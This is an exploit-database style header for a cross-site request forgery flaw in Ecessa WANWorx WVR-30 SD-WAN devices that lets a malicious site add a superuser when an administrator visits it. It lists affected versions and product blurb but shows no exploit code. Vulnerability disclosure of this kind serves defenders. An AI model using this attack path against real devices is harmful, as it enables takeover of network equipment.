# Exploit title: Ecessa WANWorx WVR-30 < 10.7.4 - Cross-Site Request Forgery (Add Superuser)
# Date: 2018-05-21
# Author: LiquidWorm
# Vendor: Ecessa Corporation
# Product web page:
# Affected version: 10.7.4, 10.6.9, 10.7.4,, 10.5.4, 10.2.24, 9.2.24

# Summary: Ecessa's WANworX SD-WAN solutions increase network performance and
# reliability by leveraging any connection. That can be premium priced MPLS,
# lower cost broadband, or cellular 4G or LTE. Many of today’s WAN deployments
# are based on older technology that was acceptable when businesses did not run
# at breakneck speed or when operations didn’t grind to a halt when connectivity
# was disrupted. In today’s cloud-based applications, datacenters and distributed
# networks, where so much is virtualized and delivered as–a-service, limited
# bandwidth and network outages don’t just slow productivity, they stop it.

# Desc: The application interface allows users to perform certain actions via
# HTTP requests without performing any validity checks to verify the requests.
# This can be exploited to perform certain actions with administrative privileges
# if a logged-in user visits a malicious web site.
